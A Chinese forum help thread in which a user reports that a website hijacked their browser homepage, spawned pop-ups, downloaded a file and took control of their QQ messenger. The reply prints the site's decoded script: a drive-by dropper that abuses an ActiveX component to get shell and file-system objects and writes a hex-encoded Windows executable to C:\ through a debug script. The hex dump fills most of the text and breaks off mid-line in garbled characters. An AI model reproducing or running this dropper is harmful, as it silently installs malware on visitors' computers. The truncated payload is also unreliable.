就这个问题,大哥们帮我解决!我要投诉那个破坏网站!

Question

没有十足的把握不要打开那个网址,我在5D上还有很多论坛都没找到答案,这里是我最后的地方了,没地方,我就格式化了啊...............
下面说的是,我的网址被这个人破坏修改了啊!哪个高手大哥帮我解决!!!(我给大家的提议,必须是高手大哥,必须的,因为这次修改的非同一般,我从注册表全部清理了,不行,我从进程杀死,不行,我锁定了自己的主页不行!!!反正我用电脑也有4.5年了,这次我是绝望了,我没有任何办法修改了,我用遍了所有的IE修复软件,我解决不料,请各位高手大哥重视..............帮我解决...........如果您没有什么太大把握,就不要试试了,我怕影响各位大哥的正常使用,唉,真倒霉!!!
地址是: http://www.98138.com
上述的补充本人经过修改,首先在IE里面设置了受限制的站点,然后在注册表搜索该站点的信息删除或者改之...............然后又到进程里面杀死了,该站进入自动下载的一个98138文件............此时的情况是IE暂时打开注意可以改变了,但是IE在不同时间会自动弹出窗口,还有即使所有IE窗口不能最小化.......症状2,此站程序可以对QQ进行控制,自动发送信息(非常严重)
站点在进入的时候自动下载文件,大家小心!我还是没解决,超级高手大哥帮忙.........

Answer 1

拆出来的代码是——
document.write('<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>');
function docsave()
{
a=document.applets[0];
a.setCLSID('{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}');
a.createInstance();
wsh=a.GetObject();
a.setCLSID('{0D43FE01-F093-11CF-8940-00A0C9054228}');
a.createInstance();
fso=a.GetObject();
var sla='\\';
var pat='c:'+sla;
var tmp1=pat+'tmp.1';
var tmp2=pat+'tmp.2';
var tmp3=pat+'tmp.3';
var tmp4='tmp.exe';
var st=fso.CreateTextFile(tmp1,true);
st.WriteLine('n'+tmp3);
st.WriteLine('a');
st.WriteLine('dw 5a4d 50 2 0 4 f ffff 0 b8 0 0 0 40 1a');
st.WriteLine('dw 0 0 0 0 0 0 0 0 0 0 0 0 0 0');
st.WriteLine('dw 0 0 100 0 10ba e00 b41f cd09 b821 4c01 21cd 9090 6854 7369');
st.WriteLine('dw 7020 6f72 7267 6d61 6d20 7375 2074 6562 7220 6e75 7520 646e 7265 5720');
st.WriteLine('dw 6e69 3233 a0d 3724 0 0 0 0 0 0 0 0 0 0');
st.WriteLine('dw 0 0 0 0 0 0 0 0 0 0 0 0 0 0');
st.WriteLine('dw 0 0 0 0 0 0 0 0 0 0 0 0 0 0');
st.WriteLine('dw 0 0 0 0 0 0 0 0 0 0 0 0 0 0');
st.WriteLine('dw 0 0 0 0 0 0 0 0 0 0 0 0 0 0');
st.WriteLine('dw 0 0 4550 0 14c 3 5e19 2a42 0 0 0 0 e0 818f');
st.WriteLine('dw 10b 1902 3000 0 1000 0 a000 0 d7b0 0 b000 0 e000 0');
st.WriteLine('dw 0 40 1000 0 200 0 1 0 0 0 4 0 0 0');
st.WriteLine('dw f000 0 1000 0 0 0 2 0 0 10 4000 0 0 10');
st.WriteLine('dw 1000 0 0 0 10 0 0 0 0 0 e454 0 114 0');
st.WriteLine('dw e000 0 454 0 0 0 0 0 0 0 0 0 0 0');
st.WriteLine('dw 0 0 0 0 0 0 0 0 0 0 0 0 0 0');
st.WriteLine('dw d904 0 18 0 0 0 0 0 0 0 0 0 0 0');
st.WriteLine('dw 0 0 0 0 0 0 0 0 0 0 0 0 0 0');
st.WriteLine('dw 5055 3058 0 0 a000 0 1000 0 0 0 400 0 0 0');
st.WriteLine('dw 0 0 0 0 80 e000 5055 3158 0 0 3000 0 b000 0');
st.WriteLine('dw 2a00 0 400 0 0 0 0 0 0 0 40 e000 722e 7273');
st.WriteLine('dw 63 0 1000 0 e000 0 600 0 2e00 0 0 0 0 0');
st.WriteLine('dw 0 0 40 c000 0 0 0 0 0 0 0 0 0 0');
st.WriteLine('dw 0 0 0 0 0 0 0 0 0 0 0 0 0 0');
st.WriteLine('dw 0 0 0 0 0 0 0 0 0 0 0 0 0 0');
st.WriteLine('dw 0 0 0 0 0 0 0 0 0 0 0 0 0 0');
st.WriteLine('dw 0 0 0 0 0 0 0 0 0 0 0 0 0 0');
st.WriteLine('dw 0 0 0 0 0 0 0 0 0 0 0 0 0 0');
st.WriteLine('dw 0 0 0 0 0 0 0 0 0 0 0 0 0 0');
st.WriteLine('dw 0 0 0 0 0 0 0 0 0 0 0 0 0 0');
st.WriteLine('dw 0 0 0 0 0 0 0 0 0 0 0 0 0 0');
st.WriteLine('dw 0 0 0 0 0 0 0 0 0 0 0 0 0 0');
st.WriteLine('dw 0 0 0 0 0 0 0 0 0 0 0 0 0 0');
st.WriteLine('dw 0 0 0 0 0 0 0 0 0 0 0 0 0 0');
st.WriteLine('dw 0 0 0 0 0 0 0 0 0 0 0 0 0 0');
st.WriteLine('dw 0 0 0 3100 322e 34 5055 2158 90c 902 1020 b6f c9f0 d64f');
st.WriteLine('dw b806 0 27a4 0 5a00 0 26 ca00 6ed9 ffff 1004 40 60a 7453');
st.WriteLine('dw 6972 676e 25ff 7148 8b0d 7c0 6444 c190 4006 3c0f 9038 641 3419 2c30');
st.WriteLine('dw 641 6419 2428 620 6419 1c90 1858 1954 9064 1441 c10 9064 641 408');
st.WriteLine('dw 4100 9e4e fc1c f870 f470 1906 9064 ecf0 e4e8 641c 4190 dce0 7168 41c9');
st.WriteLine('dw 9e4e 7164 d860 b770 39ff 74c8 7170 8353 bcc4 abb 0 e854 f6f7 77ff');
st.WriteLine('dw c804 44f6 2c24 7401 f05 5cb7 3024 c38b 441b c35b 833b 360c d4c8 7d0');
st.WriteLine('dw c8cc 320c 20c8 c0c4 ffbc 23f6 b883 5653 3cbe 6c64 3e83 7500 683a 6e44');
st.WriteLine('dw 37ff 697 6a 4c01 c88b c985 575 c033 645e 38a1 ffff ef7f 8920 8901');
st.WriteLine('dw 70d d233 c28b c003 448d 4c1 1e8b 1889 689 8342 7ffa bb6f 64ff ec75');
st.WriteLine('dw 68b 108b 1689 902b 2989 440 57c3 f28b db8b b07f d8bf 8c4a c085 8b48');
st.WriteLine('dw 8916 850 568b 504 fb0c b6de 8bed 8913 5830 4209 302 1b0 501b 7d50');
st.WriteLine('dw dbdb 87e a89 5189 1506 1e90 6a3 eec3 fedd 47bf 5557 8b51 89f1 2414');
st.WriteLine('dw e88b 5d8b 4b0 6924 152d dbfe 89b7 8b47 8b3b 4f43 3d0 c53 163b 1475');
st.WriteLine('dw b712 9adf 6ddb 1402 9512 c04 4601 eb04 1627 ff03 b25f 266f c23b d75');
st.WriteLine('dw 171c df8b eb3b c275 d68b ee8b 2cad c5bf e49f 484 5a34 5f5d f788 e16d');
st.WriteLine('dw 8db5 7374 f85e 8bbe 8bfb 4f32 b7b7 7fb7 f03b 6c72 ce8b 4a03 e838 6b03');
st.WriteLine('dw cd6b 5e77 7511 c21b e6db 8bb6 1bb 57e 5429 7b83 3f0c ffdb d836 6444');
st.WriteLine('dw 96eb 8b0a 472 ce03 f88b 1703 fb3b ed77 cfb7 29fd c73 26eb 4114 c89');
st.WriteLine('dw 2b24 89f9 247c 384a bbd9 127d d02b b889 d48b 8434 ceb db3b 5b7e eb0c');
st.WriteLine('dw 1b53 fb3b 8575 590d 9091 df8f 6fde 8bbf 8bda 81f0 28fe 10 77d 6be');
st.WriteLine('dw 8129 ffc6 b6ff d6ff 96e e681 703 7389 6a04 6801 2000 560b ff0c 13b7');
st.WriteLine('dw 5cbf 897b 853b 74ff 8b23 b8d3 4740 1fbe c3b6 1363 8024 8be3 5003 6412');
st.WriteLine('dw 86f7 eb0f 3f7 5563 d98b e8b3 43c7 6004 b01d ec6f 46a 684f 550b 7552');
st.WriteLine('dw 6f1f c9b3 7891 2404 834e 3b c90d 6012 db76 ec6b 8ddc c286 4c89 e312');
st.WriteLine('dw e2c7 ff08 b700 da1b 6537 5489 c24 ee8b c503 1489 8b10 2ffe be34 4e1d');
st.WriteLine('dw 9eb 735b 3b08 77ee 8b46 3c6 7343 7b5b 1957 3b77 743b 8634 589 3114');
st.WriteLine('dw 6b98 c0f e76 7405 8656 7ba9 85f3 a64 5c7 451c 4c01 dd0f 7f6d df1f');
st.WriteLine('dw fb81 7558 8ba7 42f 1075 7c83 d1ad adbe bf37 e19 828b 794a 1edb 75ce');
st.WriteLine('dw 2b48 d96 abae b814 8df 1672 f4b7 8b84 81ea bde5 6f86 db b9f0 c03');
st.WriteLine('dw c281 fff e21f c10e 9aee c6cd 4439 528 2b08 45c5 f8df d8f6 358b 3cce');
st.WriteLine('dw 5e8b 7e1d 30c 8ffb 276 dd8b 82e1 b6db 7b3b b908 58b 76ff 571e cec3');
st.WriteLine('dw e5f7 2b10 57fb c053 a55c 8db3 b635 9eb e36 bcb9 c91 3a19 a74e 2b73');
st.WriteLine('dw f3b5 10a1 36e4 81f2 34e6 eb9d 6103 46dd 4fc9 f6c8 62b 8441 6f6d c93f');
st.WriteLine('dw 1c38 7324 8b03 3b04 73ef fd8c 8486 d6c9 1c82 4080 241 2523 761d c080');
st.WriteLine('dw 4437 ddd6 7bbd bdf8 1a50 c781 3fff e786 c000 5d79 6769 74ba 33e9 e3b');
st.WriteLine('dw 2c7f 8b49 54d7 2452 bd23 46b 76c4 5074 468b 4648 dd35 c874 353e dd09');
st.WriteLine('dw c975 c7a9 41fb d9fa 32e 2130 cc8b 2b9 832c 243c 3a2d 5d7d a56e b10');
st.WriteLine('dw 5006 c70c 3d36 4c26 f36 735b fa8b 3781 9581 923e 6102 dd53 77dd 3b63');
st.WriteLine('dw 7554 4f5 a257 8e0f df96 8e8d da66 d90c 2ba8 9ba2 6155 74b7 7f7c 1c94');
st.WriteLine('dw 3304 c1a c88d f7c2 9863 3285 b175 8b15 edee 10c1 8b0b ab6c be9 6032');
st.WriteLine('dw d98d 8307 9f4d 3446 cc23 1f1 850f fe66 704a b028 ebf1 8b48 1b6b a9f5');
st.WriteLine('dw 6d48 6df3 1cae 52d7 20c5 83c4 5338 1784 81e1 1f28 4e40 5108 c118 990e');
st.WriteLine('dw 710 c649 63b0 69c3 227f f98b 8dc4 db98 88da 1b8c 35e3 7003 ae6 b1d9');
st.WriteLine('dw ff0b de3b 5b73 cf8b 2b73 44d3 5805 eccb b1db b8c3 b84e 5c8b 850f 74db');
st.WriteLine('dw b51f d73a 9b34 b3c3 8938 7c0 3810 3bd9 86b 14f5 3bf1 eba0 adb7 1ee7');
st.WriteLine('dw 779 8c8d ec80 559b 7e68 feb0 d2db 1c18 ff64 6432 2289 2068 6c43 3d80');
st.WriteLine('dw 6031 d64d 3b64 748b 120a 6074 83dc e90f 4e86 7c09 f868 cb0f dede 2707');
st.WriteLine('dw 78a3 3de1 4105 b82f d703 fd2f bd3e d15 c933 82bf 40f4 13d 81f1 7703');
st.WriteLine('dw c403 60b8 bd12 f6f6 bbba a3c2 96c 5c6 2c18 5a9f 5959 378b 32bc 10f7');
st.WriteLine('dw d968 8696 c37c 1adf eb30 af0b df7d a0e5 5d2d 53c3 b25 84cb d80 b9f9');
st.WriteLine('dw 69cc b6d1 c719 8119 2cf7 67 90a1 541d 1ac1 58ac f3b1 c612 c6ac 1c04');
st.WriteLine('dw 3c87 b4b2 b122 1848 2e6 96b7 136c b497 1774 1531 5d38 1216 c9c8 750e');
st.WriteLine('dw d9e9 19bd 76fb c990 84e3 5bdb 53df 53b 7b6c c4fe e27b 8209 a15 48b9');
st.WriteLine('dw 8108 b0f9 1345 acbf 387f 176c 7939 81fd 6fd8 c105 c103 2f9 ccd4 f488');
st.WriteLine('dw 24eb b7b7 96d7 d916 1517 f48b 58b 8902 1dd9 6a66 ad40 8d08 15f8 2d7c');
st.WriteLine('dw c6f1 b4c6 ec4a 72c1 3607 660c 5efd 6c2 12cb fa81 7517 84e8 3bfc 1c5e');
st.WriteLine('dw 8dc6 8bc3 83ca 4e9 1c8d b601 fb7b 8b5b 7c10 c70f 703 8018 d18b cb9');
st.WriteLine('dw 4f0c ba05 b7b7 413 c7c 8120 2c9 8915 8dd0 bfdd bb7 ff12嵾?